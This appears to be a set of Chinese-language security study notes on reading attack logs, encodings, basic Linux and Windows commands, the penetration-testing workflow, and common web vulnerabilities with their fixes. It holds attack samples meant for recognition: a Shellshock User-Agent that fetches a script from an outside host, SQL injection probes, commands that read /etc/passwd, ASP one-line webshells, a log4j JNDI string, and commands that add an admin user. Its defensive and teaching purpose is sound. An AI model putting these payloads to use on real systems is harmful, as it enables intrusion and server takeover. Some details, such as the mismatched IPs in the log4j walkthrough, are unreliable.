常见编码方式:
- URL编码
特点:%数字
- base64编码:base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,要求把每三个8Bit的字节转换为四个6Bit的字节, 在email传输中,加密是肯定的,但是加密的目的不是让用户发送非常安全的Email。这种加密方式主要就是“防君子不防小人”。
特点:常以=结尾
- 16进制编码
特点:以\x开头
- Unicode编码:Unicode 在一个字符集中包含了世界上所有文字和符号,统一编码,来终结不同编码产生乱码的问题。
特点:以\u、\u+、、开头
常见字符集(详解):
GB18030和Unicode联系和区别:
- GB18030 和 Unicode 相当于两套单独的编码体系,它们都对世界上大部分字符进行编码,赋予每个字符一个唯一的编号,只不过对于同一个字符,GB18030 和 Unicode 对应的编号是不一样的, 比如:汉字 “中” 字的 GB18030 编码是 0xD6D0, 对应的 Unicode 码元是 0x4E2D, 从这一点上可以认为 GB18030 是一种 Unicode 的转换格式
- GB18030 既是字符集又是编码格式,即字符在字符集中的编号以及存储时进行编码用的编号是完全相同的,而 Unicode 仅仅是字符集,它只规定了字符的唯一编号,它的存储是用其他的编码格式的,比如 UTF8、UTF16 等等
Unicode和UTF-8的联系:
- Unicode 统一了所有字符的编码,是一个 Character Set,也就是字符集,字符集只是给所有的字符一个唯一编号,但是却没有规定如何存储,一个编号为 65 的字符,只需要一个字节就可以存下,但是编号 40657 的字符需要两个字节的空间才可以装下,而更靠后的字符可能会需要三个甚至四个字节的空间。
- 在存储和网络传输中,通常使用更为节省空间的变长编码方式 UTF-8,UTF-8 代表 8 位一组表示 Unicode 字符的格式,使用 1 - 4 个字节来表示字符。
- UTF-8的编码形式如下:
U+ 0000 ~ U+ 007F: 0XXXXXXX
U+ 0080 ~ U+ 07FF: 110XXXXX 10XXXXXX
U+ 0800 ~ U+ FFFF: 1110XXXX 10XXXXXX 10XXXXXX
U+10000 ~ U+1FFFF: 11110XXX 10XXXXXX 10XXXXXX 10XXXXXX
http://www.mxcz.net/tools/Hex.aspx
PHP
...
?>
ASP/ASPX
<%
...
%>
JavaScript
<script language="javascript">
...
<script>
JSP
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>
<%
……
%>
- 获取攻击者发送的数据
- 防火墙:防火墙内置数据中心会记录数据包内容
- 态势感知:态势感知外部威胁感知日志里面记录的数据包内容
- 编码还原(URL、base64、)
get、post请求报文的url字段
get、post请求报文的cookie字段
get、post请求报文的referer字段
post请求报文的表单字段
url、cookie、referer、表单涉及到的攻击:xss攻击、SQL注入、命令执行、文件包含、目录穿越、webshell、信息泄露、网站扫描
get、post请求报文的user-agent字段
user-agent涉及到的攻击:
- 恶意爬虫:
Python-urllib/2.6、Baidu-YunGuanCe-ScanBot(ce.baidu.com)
- 扫描器:
morfeus fucking scanner、Accept: acunetix/wvs
- sql注入:
sqlmap/1.0.8.15#dev (http://sqlmap.org)
- xss攻击:
'%22()%26%25
- 其它非常特殊攻击 :
User-Agent: () { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://lliillii.altervista.org/io.php 0<&1 2>&1
http报文负载
http报文负载部分涉及到的攻击:
- webshell(请求和应答方向都有可能)
- 信息泄露(应答方向)
总结:
- 在http报文头部,出现了一些不应该出现的字段
- url和post表单,referer、cookie出现了sql语句、系统命令、脚本代码(js代码、php代码)一般都不正常
- 访问或者探测了一些敏感文件
- 应答报文可能泄露一些系敏感信息的
sql注入:
- 探测语句:
http://www.19cn.com/showdetail.asp?id=49 and 1=1
http://www.19cn.com/showdetail.asp?id=49 or 1=1
and char(124)%2Buser%2Bchar(124)=0(注入类型判断)
- 权限判断
and user>0 用户名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 权限
and exists (select * from sysobjects) 数据库类型判断sqlserver
- 查询数据
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 查库名
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 查表名
and (select count(字段名) from 表名)>0 猜字段
and (select top 1 len(username) from admin)=X 才字段值
http://localhost/mytest/sqlinject/?id=1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user union select猜解法
and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
XSS
脚本
属性
事件
命令执行
GET /simple/tests/tmssql.php?do=phpinfo
GET /detail.php? id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd
webshell一句话木马
<%eval request("sb")%>
<%execute request("sb")%>
<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("123"))%>
<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("c")%>(UTF-7编码格式的一句话木马)
信息泄露:
- 配置文件访问
httpd.conf
htaccess
HTPASSWD
boot.ini
etc/passwd
php.ini
Web.xml
- 特殊后缀
.mdb、 .sql
.bak、.sav、.old、.las
.tmp、.temp
.rar、.zip、.bz、gzip、tar
.conf、inc、ini、bat
.log、stats、statistics
Web.xml
- 应答报文提示信息
- 目录浏览
Parent Directory
Directory Listing For
Index of /
Welcome to the directory listing
- 错误信息
数据库错误信息
程序错误信息
网站扫描
- 恶意爬虫:浏览器的user-agent字段一般都比较固定如:User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) ——IE 9.0;不是浏览器的user-agent,很可能就是爬虫
- 扫描软件:user-agent字段或者单独标示自己的软件
- 综合扫描器:wvs、appscan
- 专用扫描器:sql注入
4. 攻击常见的特点
- 攻击一般都有一定的连续性,所以一段时间会产生多条日志,并且命中特征id是有一定分布的,不能是只命中某个特征。
- 攻击一般都会借助工具进行,同一个IP地址日志间隔较小,可能一秒中产生几条日志,明显不是人操作浏览器的行为。
- 攻击者可能会借助一定跳板,如果IP地址是国外的,攻击嫌疑较大。
5. 攻击日志分析流程
- 基于攻击IP地址方法分析(适用于日志较多的情况)
- 找出一个明显的攻击行为的日志(根据攻击常见的特点)
- 根据该日志找出攻击源IP地址
- 筛选出针对该IP地址的日志,这种情况下基本都是攻击,没有误报
- 针对该IP地址,利用前面介绍的知识,就可以看出攻击者都发起了哪些攻击
- 基于攻击方法分析(适用每类不太多的攻击)
- 看攻击语句,是否是明显攻击行为
- 如果能看出是明显的行为,就可以确定是攻击
- 如果不确定,还需要结合其他参数
- 源IP地址:是否出现过其他类型可以明确的攻击行为
- 攻击时间:如果半夜或者凌晨活动比较频繁,可以怀疑为攻击
- 日志频率:一秒钟出现几次日志,可以怀疑为攻击
- 攻击位置:国外的IP地址,可以怀疑为攻击
- 报文语义分析:比如访问admin文件夹,可能是攻击行为
- 误报(攻击和正常应用分不开)
- 网站实现存在安全隐患
- url参数实现时可以直接传递sql语句
- url参数实现时可以直接传递js语句
- url参数实现时用…/进行目录穿越访问文件
- url参数实现时直接调用一些系统函数
- url参数可以进行域名重定向
- 系统配置存在安全隐患(比如开启了目录访问功能)
- 用户应用比较特殊,这种情况可能会导致任何攻击的误报
- 用户是一个论坛类应用,可以提交任何东西,包括文章
- 用户是一个代码提交讨论网站,经常通过post表单提交代码
相关linux命令
常用命令
echo:输出命令
echo hello
echo $SHELL
data:显示时间
reboot:重启
poweroff:关机
ps:查看系统进程状态,格式:
ps[参数]
ps -aux
top:任务管理器,动态监视进程活动和系统负载等信息,每10秒刷新一次
pidof:查询某个指定服务进程的pid值,格式:
pidof[参数][服务名称]
pidof sshd
kill、killall:终止进程,格式:
kill[参数][进程pid]
kill 6625
系统状态检测命令
- ifconfig:查询网络接口配置信息
- uname:查看系统内核与系统版本等信息
uname -a
- uptime:查看系统的负载信息,包括当前系统时间,系统已运行时间,启用终端数量,平均负载值等信息
- free:显示当前系统中内存的使用量信息
free -h
- who/whoami:查看当前登入主机的用户终端信息
- last:查看所有系统的登录记录
- history:显示历史执行过的命令
工作目录切换命令
- pwd:显示用户所处的工作目录
- cd:切换工作目录
- ls:显示目录中的文件信息
文本文件编辑命令
cat:查看纯文本文件(内容较少的)
cat 文件名
cat -n 文件名
more:查看纯文本文件(内容较多的)
more 文件名
head:查看纯文本文档的前N行
head -n 行数 文件名
tail:查看纯文本文档的后N行
tail -n 行数 文件名
tail -f 文件名
:实时查看最新文件wc:统计指定文本的行数,字数,字节数
wc -l 文件名
:显示行数
wc -w 文件名
:显示单词数
wc - c 文件名
:显示字节数stat:查看文件的具体存储信息和时间等信息
stat 文件名
diff:比较多个文本文件的差异
diff 文件1 文件2
:打印两个文本不同之处
diff 文件1 文件2 --brief
:判断两个文本是否不同
diff 文件1 文件2 -c
:打印两个文本不同之处文件目录管理命令
touch:创建空白文件或设置文件的时间
touch 文件名
touch -d "2020-05-04 12:00" a.txt
:修改atime(读取时间)和mtime(修改时间)mkdir:创建空白的目录
mkdir 文件夹
mkdir -p a/b/c
:常见嵌套关系的文件目录cp:复制文件或目录
cp 源文件 目标文件
mv:剪切文件或重命名文件
mv 源文件 目标文件
:两个文件在同一目录下时可以理解为重命名rm:删除文件或目录
rm -f 文件名
file:查看文件的类型
file 文件名
搜索命令
grep:在文本中执行关键词搜索
grep -b 关键词 文件名
:将可执行文件当作文本文件
grep -c 关键词 文件名
:仅显示找到的行数
grep -i 关键词 文件名
:忽略大小写
grep -n 关键词 文件名
:显示行号
grep -v 关键词 文件名
:反向选择——仅列出没有“关键词”的行
echo "hello world" | grep -c world
grep test *file
:在后缀中带有file字样的文件中查找关键词testfind:按照指定条件查找文件
find . -name "*.txt"
:查找当前目录下以.txt结尾的文件
find . -name "[0-9]*"
find /etc -name nginx.conf
find /etc -perm 755 -type f > 文件
:查找权限为755的文件,并将结果打印到文件中查找端口号
lsof -i:端口号
netstat -nltp | grep 端口号
-a
:显示本机所有连接和监听地端口
-n
:网络IP地址的形式,显示当前建立的有效连接和端口
-r
:显示路由表信息
-s
:显示按协议的统计信息
-v
:显示当前有效的连接
-t
:显示所有TCP协议连接情况
-u
:显示所有UDP协议连接情况
-i
:显示自动配置端口的状态
-l
:仅仅显示连接状态为listening的服务网络状态
-p
:显示pid/program name渗透测试中常用的windows命令
ipconfig
:查看ip地址和网卡配置net user
:查看当前系统的用户neuser用户名
:查看用户的基本信息net user 用户名 密码 /add
:添加新用户net user 用户名 /del
:删除用户net user /domain
:判断此用户是否是域成员netstat -ano| findstr "80"
:查看80端口tasklist | findstr "2448"
:查看2448进程net group /domain
:查看域中的组net group "Domain Users" /domain
:查看域组"Domain Users"中的用户成员net localgroup
:查看所有的本地组net localgroup administrators
:查看administrators组中有哪些用户net localgroup administrators 用户名 /add
:将用户添加到本地管理员组whoami
:查看当前用户及权限systeminfo
:查看计算机信息ver
:查看操作系统版本tasklist /svc
:查看当前计算机进程情况netstat -ano
:查看当前计算机进程情况wmic product > ins.txt
:查看安装软件以及版本路径等信息,输出到ins.txt常用知识
渗透测试流程
- 信息收集
主要包括收集服务器信息、网站信息、域名信息、人员信息
- 漏洞探测
主要包括网站功能点测试(文件上传漏洞、越权、目录遍历、注入、XSS、CSRF等)、扫描系统漏洞
- 渗透攻击
根据探测的信息整理成漏洞合集表、分析并验证漏洞、寻找攻击路径进入内网扩大影响
- 后渗透
内网信息收集、提权、横向移动、清除痕迹
- 整理信息形成报告
整理渗透工具、收集信息、漏洞信息。
信息收集的内容
- 服务器信息(端口、服务、真实IP)
- 网站信息(网站架构(操作系统、中间件、数据库、编程语言)、指纹信息、WAF、敏感目录、敏感文件、源码泄露、旁站查询、C段查询)
- 域名信息(whois、备案信息、子域名)
- 人员信息(姓名、职务、生日、联系电话、邮件地址)
收集端口的作用,常见高危端口
21 ftp
22 ssh
23 Telnet
80/8080/8888
1080 socks
3389 RDP
7001 Weblogic
1521 Oracle
1433 MSSQL
3306 MySQL
5432 PostgreSQL
6379 Redis
445 smb
139 NetBiosSQL注入,XSS,CSRF、文件上传、SSRF漏洞原理和修复方法
SQL注入:开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露。
- 盲注:ascii,substr
- 报错注入:updatexml,extractvalue,floor
防御方法:
- 对输入进行严格的转义和过滤
- 使用预处理和参数化
XSS:对输入和输出的控制不够严格,导致精心构造的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
防御方法:
- 输入做过滤,输出做转义。
CSRF:用户访问网站受信任网站A,网站A返回给用户一个cookie,用户在没有登出网站A的情况下访问了攻击者的网站,攻击者返回攻击代码并携带用户的cookie向网站A发送一个请求,此时网站A会认为这是用户发起的请求,从而在不知不觉间攻击者利用了用户的权限执行了攻击代码。
防御方法:
- 增加token验证
文件上传:用户上传文件时,在后台并没有对上传的文件功能进行安全考虑或者采用了有缺陷的措施,导致攻击者可以通过一些手段来绕过安全措施从而上传一些恶意文件(如:一句话木马),从而通过该恶意文件的访问来控制整个web后台。
防御方法:
- 通过服务器端对上传文件进行限制(后缀名过滤)
- 文件重命名(隐藏访问路径)
- 设置上传文件的访问权限)
SSRF:由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
防御方法:
- 设置白名单/黑名单;
- 限制访问权限
工具使用(burpsuite、sqlmap等)
熟悉的中间件及常见漏洞(shiro/fastjson/weblogic/log4j2等)
shiro:用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
fastjson:漏洞主要是因为autotype功能,这个功能本身是用于fastjson对JSON字符进行序列化和返序列化的,然后使用autotype功能进行序列化的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,只需要构造一个JSON字符,使用@type指定一个想要的攻击类库就可以实现攻击
log4j2:log4j2框架下的lookup服务提供了{}字段解析功能,传进去的值会被直接解析,JNDI服务会请求远程服务来链接本地对象,这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害应急流程(定时任务)
- 收集客户机器信息以及样本,做好文件备份
- 判断安全事件的类型,是系统层面的(如挖矿病毒,后门木马),还是网络应用层面的(如webshell),或者是网络层面的(如断网、DDOS等),然后隔离机器
- 日志、用户、进程、启动项、样本,看到可疑的就删除掉,删除文件,打补丁,溯源
- 产出一份安全事件报告
linux命令
ps -aux
:查看进程netstat -antlp
:查看端口top
:查看cpu使用情况查看ssh登录日志
- /var/log/secure
- /var/log/utmp
- /var/log/wtmp
- /var/log/lastlog
windows命令
tasklist
:查看进程netstat -an
:查看端口